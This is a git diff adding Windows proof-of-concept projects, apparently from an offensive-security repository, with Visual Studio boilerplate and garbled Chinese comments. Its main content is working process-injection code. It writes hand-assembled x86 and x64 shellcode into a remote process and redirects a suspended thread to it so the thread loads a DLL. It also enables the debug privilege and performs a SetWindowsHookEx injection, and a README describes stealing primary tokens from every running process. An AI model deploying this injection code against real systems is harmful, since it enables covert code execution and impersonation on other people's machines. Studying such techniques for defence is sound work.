ctx.ContextFlags=CONTEXT_ALL; + if (!GetThreadContext(hThread,&ctx)) + { + printf("GetThreadContext Error LastError [%d]\n", GetLastError()); + return FALSE; + } + + printf("getThreadContext OK.\n"); + LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE); + if (LpAddr==NULL) + { + printf("VirtualAlloc Error LastError [%d]\n", GetLastError()); + return FALSE; + } + DWORD64 LoadDllAAddr=(DWORD64)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA"); + if (LoadDllAAddr==NULL) + { + printf("LoadDllAddr error LastError [%d]\n", GetLastError()); + return FALSE; + } + /* + + 0x48,0x83,0xEC,0x28, //sub rsp ,28h + + 0x48,0x8D,0x0d, // [+4] lea rcx, + 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 + + 0x48, 0xB8, // [+11]mov rax, ptr + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xff, 0xd0, // [+21] call rax + + 0x48,0x83,0xc4,0x28, // [+23] add rsp,28h + + 0xff,0x25, // [+27] + 0xaa,0xbb,0xcc,0xdd, // [+29] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6 + + 0xaa,0xbb,0xcc,0xdd, //+33 + 0xaa,0xbb,0xcc,0xdd + //+41 + */ + DllPath=ShellCode64+41; + strcpy((char*)DllPath,"Dllx64.dll");//ŐâŔďĘÇҪעČëµÄDLLĂű×Ö + DWORD DllNameOffset = 30;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 Őâ¸öÖ¸Áî7¸ö×Ö˝Ú + *(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset; + //////////////// + DWORD64 LoadDllAddroffset = (DWORD64)LoadDllAAddr;// - ((BYTE*)LpAddr + 11) -5; //Őâ¸öÖ¸Áî5¸ö×Ö˝Úe8 + 4addroffset + *(DWORD64*)(ShellCode64+13)=LoadDllAddroffset; + ////////////////////////////////// + + + *(DWORD64*)(ShellCode64+33)=ctx.Rip; //64ĎÂÎŞrip + *(DWORD*)(ShellCode64+29)= (DWORD)0; //ÎŇ˝«µŘÖ··ĹÔÚ+26µÄµŘ·˝Ł¬Ďŕ¶ÔoffsetÎŞ0 + +// ŐâŔďŇňÎŞŐâŃůĐ´Ěřת˛»µ˝Äż±ęµŘÖ·Ł¬ąĘx64 Ó¦¸ĂŇŞÖĐתһ´Î Ďŕ¶ÔŃ°Ö· +// DWORD Ds = (DWORD)ctx.SegDs; +// DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6; +// *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip; + + //////////////////////////////////// + if (!WriteProcessMemory(hProcess,LpAddr,ShellCode64,64,NULL)) + { + printf("write Process Error LastError [%d]\n", GetLastError()); + return FALSE; + } + ctx.Rip=(DWORD64)LpAddr; + if (!SetThreadContext(hThread,&ctx)) + { + printf("set thread context error LastError [%d]\n", GetLastError()); + return FALSE; + } + + printf("SetThreadContext OK.\n"); + ResumeThread(hThread); + return TRUE; + +#else + CONTEXT ctx = {0}; + ctx.ContextFlags=CONTEXT_ALL; + if (!GetThreadContext(hThread,&ctx)) + { + printf("GetThreadContext Error LastError [%d]\n", GetLastError()); + return FALSE; + } + printf("GetThreaxContext OK.\n"); + LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE); + if (LpAddr==NULL) + { + printf("VirtualAlloc Error LastError [%d]\n", GetLastError()); + return FALSE; + } + DWORD LoadDllAAddr=(DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA"); + if (LoadDllAAddr==NULL) + { + printf("LoadDllAddr error LastError [%d]\n", GetLastError()); + return FALSE; + } + + ///////////// + /* + 0x60, PUSHAD + 0x9c, PUSHFD + 0x68, PUSH + 0xaa,0xbb,0xcc,0xdd,//dll path address + 0xff,0x15, CALL + 0xdd,0xcc,0xbb,0xaa, offset + 0x9d, POPFD + 0x61, POPAD + 0xff,0x25, JMP + 0xaa,0xbb,0xcc,0xdd,// [xxxxx] + 0xaa,0xaa,0xaa,0xaa,// LoadLibrary Address + 0xaa,0xaa,0xaa,0xaa// »Ö¸´µÄEIP Address + // +29 DllĂű×Ö + */ + _asm mov esp,esp + DllPath=ShellCode+29; + strcpy((char*)DllPath,"Dllx86.dll");//ŐâŔďĘÇҪעČëµÄDLLĂű×Ö + *(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29; + //////////////// + *(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibraryµŘÖ··ĹČëshellcodeÖĐ + *(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//Đ޸Äcall Ö®şóµÄµŘÖ· ÎŞÄż±ężŐĽä´ć·Ĺ loaddlladdrµÄµŘÖ· + ////////////////////////////////// + *(DWORD*)(ShellCode+25)=ctx.Eip; + *(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//Đ޸Äjmp Ö®şóÎŞÔ­Ŕ´eipµÄµŘÖ· + //////////////////////////////////// + if (!WriteProcessMemory(hProcess,LpAddr,ShellCode,64,NULL)) + { + printf("write Process Error LastError [%d]\n", GetLastError()); + return FALSE; + } + ctx.Eip=(DWORD)LpAddr; + if (!SetThreadContext(hThread,&ctx)) + { + printf("set thread context error LastError [%d]\n", GetLastError()); + return FALSE; + } + printf("SetThreadContext OK.\n"); + ResumeThread(hThread); + return TRUE; +#endif + +}; + +BOOL EnableDebugPriv() +{ + HANDLE hToken; + LUID sedebugnameValue; + TOKEN_PRIVILEGES tkp; + if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) + { + return FALSE; + } + + if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue)) + { + CloseHandle(hToken); + return FALSE; + } + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Luid = sedebugnameValue; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL)) + { + return FALSE; + } + CloseHandle(hToken); + return TRUE; +} + + diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj new file mode 100644 index 00000000..12e07843 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj @@ -0,0 +1,152 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {A30978AA-ED87-42CC-9A57-5E52A67FF248} + Win32Proj + InjectDllBySetThreadContextx64 + + + + Application + true + Unicode + + + Application + true + Unicode + + + Application + false + true + Unicode + + + Application + false + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj.filters b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj.filters new file mode 100644 index 00000000..3c280e6b --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/ReadMe.txt b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/ReadMe.txt new file mode 100644 index 00000000..7fcf1865 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/ReadMe.txt @@ -0,0 +1,4 @@ +Inject 32 bit process by change eip to execute the shellcode which will load a dll +Inject 64 bit process by change rip to execute the shellcode which will load a dll + +http://www.cnblogs.com/aliflycoris/p/5432621.html diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/stdafx.cpp b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/stdafx.cpp new file mode 100644 index 00000000..c915b05c --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : Ö»°üŔ¨±ę׼°üş¬ÎÄĽţµÄÔ´ÎÄĽţ +// InjectDllBySetThreadContextx64.pch ˝«×÷ÎŞÔ¤±ŕŇëÍ· +// stdafx.obj ˝«°üş¬Ô¤±ŕŇëŔŕĐÍĐĹϢ + +#include "stdafx.h" + +// TODO: ÔÚ STDAFX.H ÖĐ +// ŇýÓĂČÎşÎËůĐčµÄ¸˝ĽÓÍ·ÎÄĽţŁ¬¶ř˛»ĘÇÔÚ´ËÎÄĽţÖĐŇýÓĂ diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/stdafx.h b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/stdafx.h new file mode 100644 index 00000000..9d41f0f1 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : ±ę׼ϵͳ°üş¬ÎÄĽţµÄ°üş¬ÎÄĽţŁ¬ +// »ňĘÇľ­łŁĘąÓõ«˛»łŁ¸ü¸ÄµÄ +// Ěض¨ÓÚĎîÄżµÄ°üş¬ÎÄĽţ +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: ÔÚ´Ë´¦ŇýÓĂłĚĐňĐčŇŞµÄĆäËűÍ·ÎÄĽţ diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/targetver.h b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/targetver.h new file mode 100644 index 00000000..7a7d2c83 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üŔ¨ SDKDDKVer.h ˝«¶¨ŇĺżÉÓõÄ×î¸ß°ć±ľµÄ Windows ƽ̨ˇŁ + +// ČçąűŇŞÎŞŇÔÇ°µÄ Windows ƽ̨ÉúłÉÓ¦ÓĂłĚĐňŁ¬Çë°üŔ¨ WinSDKVer.hŁ¬˛˘˝« +// WIN32_WINNT şęÉčÖĂÎŞŇŞÖ§łÖµÄƽ̨Ł¬Č»şóÔŮ°üŔ¨ SDKDDKVer.hˇŁ + +#include diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/ReadMe.txt b/Win32/Proof of Concepts/SetThreadContextInjection/ReadMe.txt new file mode 100644 index 00000000..7fcf1865 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/ReadMe.txt @@ -0,0 +1,4 @@ +Inject 32 bit process by change eip to execute the shellcode which will load a dll +Inject 64 bit process by change rip to execute the shellcode which will load a dll + +http://www.cnblogs.com/aliflycoris/p/5432621.html diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/ReadMe.txt b/Win32/Proof of Concepts/SetWindowsHookExInjection/ReadMe.txt new file mode 100644 index 00000000..8093f15d --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/ReadMe.txt @@ -0,0 +1 @@ +Inject DLL by SetWindowsHookEx diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx.sln b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx.sln new file mode 100644 index 00000000..82b0a13d --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetWindowsHookEx", "SetWindowsHookEx\SetWindowsHookEx.vcxproj", "{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|Win32.ActiveCfg = Debug|Win32 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|Win32.Build.0 = Debug|Win32 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|x64.ActiveCfg = Debug|x64 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Debug|x64.Build.0 = Debug|x64 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|Win32.ActiveCfg = Release|Win32 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|Win32.Build.0 = Release|Win32 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|x64.ActiveCfg = Release|x64 + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.cpp b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.cpp new file mode 100644 index 00000000..db6af1d6 --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.cpp @@ -0,0 +1,94 @@ +// SetWindowsHookEx.cpp : ¶¨ŇĺżŘÖĆ̨ӦÓĂłĚĐňµÄČëżÚµăˇŁ +// + +#include "stdafx.h" +#include +#include +using namespace std; +#include "tlhelp32.h" + +HHOOK Handle = NULL; +LRESULT CALLBACK HookProc + ( + int nCode, + WPARAM wParam, + LPARAM lParam + ); +BOOL InstallSetWindowsHookEx(ULONG ProcessId,BOOL Hook) +{ + if(Hook) + { + HMODULE hModule = LoadLibrary(L"DllTestx64.dll"); + if(hModule==NULL) + { + cout<<"Loadlibrary Fail"<>a; + InstallSetWindowsHookEx(a,TRUE); + cin>>b; + if(b==20) + { + InstallSetWindowsHookEx(a,FALSE); + } + return 0; +} + + +LRESULT CALLBACK HookProc + ( + int nCode, + WPARAM wParam, + LPARAM lParam + ) +{ + MessageBox(NULL,L"Suu",L"Suu",1); + return 0; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.vcxproj b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.vcxproj new file mode 100644 index 00000000..d188838e --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.vcxproj @@ -0,0 +1,152 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {80FB0788-EDF7-4F97-A3E6-4FA386C40A96} + Win32Proj + SetWindowsHookEx + + + + Application + true + Unicode + + + Application + true + Unicode + + + Application + false + true + Unicode + + + Application + false + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.vcxproj.filters b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.vcxproj.filters new file mode 100644 index 00000000..dfb3913b --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/SetWindowsHookEx.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/stdafx.cpp b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/stdafx.cpp new file mode 100644 index 00000000..e9d33efb --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : Ö»°üŔ¨±ę׼°üş¬ÎÄĽţµÄÔ´ÎÄĽţ +// SetWindowsHookEx.pch ˝«×÷ÎŞÔ¤±ŕŇëÍ· +// stdafx.obj ˝«°üş¬Ô¤±ŕŇëŔŕĐÍĐĹϢ + +#include "stdafx.h" + +// TODO: ÔÚ STDAFX.H ÖĐ +// ŇýÓĂČÎşÎËůĐčµÄ¸˝ĽÓÍ·ÎÄĽţŁ¬¶ř˛»ĘÇÔÚ´ËÎÄĽţÖĐŇýÓĂ diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/stdafx.h b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/stdafx.h new file mode 100644 index 00000000..9d41f0f1 --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : ±ę׼ϵͳ°üş¬ÎÄĽţµÄ°üş¬ÎÄĽţŁ¬ +// »ňĘÇľ­łŁĘąÓõ«˛»łŁ¸ü¸ÄµÄ +// Ěض¨ÓÚĎîÄżµÄ°üş¬ÎÄĽţ +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: ÔÚ´Ë´¦ŇýÓĂłĚĐňĐčŇŞµÄĆäËűÍ·ÎÄĽţ diff --git a/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/targetver.h b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/targetver.h new file mode 100644 index 00000000..7a7d2c83 --- /dev/null +++ b/Win32/Proof of Concepts/SetWindowsHookExInjection/SetWindowsHookEx/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üŔ¨ SDKDDKVer.h ˝«¶¨ŇĺżÉÓõÄ×î¸ß°ć±ľµÄ Windows ƽ̨ˇŁ + +// ČçąűŇŞÎŞŇÔÇ°µÄ Windows ƽ̨ÉúłÉÓ¦ÓĂłĚĐňŁ¬Çë°üŔ¨ WinSDKVer.hŁ¬˛˘˝« +// WIN32_WINNT şęÉčÖĂÎŞŇŞÖ§łÖµÄƽ̨Ł¬Č»şóÔŮ°üŔ¨ SDKDDKVer.hˇŁ + +#include diff --git a/Win32/Proof of Concepts/StealAllTokens/.gitattributes b/Win32/Proof of Concepts/StealAllTokens/.gitattributes new file mode 100644 index 00000000..1ff0c423 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/.gitattributes @@ -0,0 +1,63 @@ +############################################################################### +# Set default behavior to automatically normalize line endings. +############################################################################### +* text=auto + +############################################################################### +# Set default behavior for command prompt diff. +# +# This is need for earlier builds of msysgit that does not have it on by +# default for csharp files. +# Note: This is only used by command line +############################################################################### +#*.cs diff=csharp + +############################################################################### +# Set the merge driver for project and solution files +# +# Merging from the command prompt will add diff markers to the files if there +# are conflicts (Merging from VS is not affected by the settings below, in VS +# the diff markers are never inserted). Diff markers may cause the following +# file extensions to fail to load in VS. An alternative would be to treat +# these files as binary and thus will always conflict and require user +# intervention with every merge. To do so, just uncomment the entries below +############################################################################### +#*.sln merge=binary +#*.csproj merge=binary +#*.vbproj merge=binary +#*.vcxproj merge=binary +#*.vcproj merge=binary +#*.dbproj merge=binary +#*.fsproj merge=binary +#*.lsproj merge=binary +#*.wixproj merge=binary +#*.modelproj merge=binary +#*.sqlproj merge=binary +#*.wwaproj merge=binary + +############################################################################### +# behavior for image files +# +# image files are treated as binary by default. +############################################################################### +#*.jpg binary +#*.png binary +#*.gif binary + +############################################################################### +# diff behavior for common document formats +# +# Convert binary document formats to text before diffing them. This feature +# is only available from the command line. Turn it on by uncommenting the +# entries below. +############################################################################### +#*.doc diff=astextplain +#*.DOC diff=astextplain +#*.docx diff=astextplain +#*.DOCX diff=astextplain +#*.dot diff=astextplain +#*.DOT diff=astextplain +#*.pdf diff=astextplain +#*.PDF diff=astextplain +#*.rtf diff=astextplain +#*.RTF diff=astextplain diff --git a/Win32/Proof of Concepts/StealAllTokens/.gitignore b/Win32/Proof of Concepts/StealAllTokens/.gitignore new file mode 100644 index 00000000..4ce6fdde --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/.gitignore @@ -0,0 +1,340 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- Backup*.rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# JetBrains Rider +.idea/ +*.sln.iml + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb \ No newline at end of file diff --git a/Win32/Proof of Concepts/StealAllTokens/Img/TI.png b/Win32/Proof of Concepts/StealAllTokens/Img/TI.png new file mode 100644 index 00000000..dd42e21e Binary files /dev/null and b/Win32/Proof of Concepts/StealAllTokens/Img/TI.png differ diff --git a/Win32/Proof of Concepts/StealAllTokens/README.md b/Win32/Proof of Concepts/StealAllTokens/README.md new file mode 100644 index 00000000..abfdc819 --- /dev/null +++ b/Win32/Proof of Concepts/StealAllTokens/README.md @@ -0,0 +1,15 @@ +# StealAllTokens +This PoC uses two diferent technics for stealing the primary token from all running processes, showing that is possible to impersonate and use whatever token present at any process + +![](Img/TI.png) + + +# Blogpost + + +# Credits +* 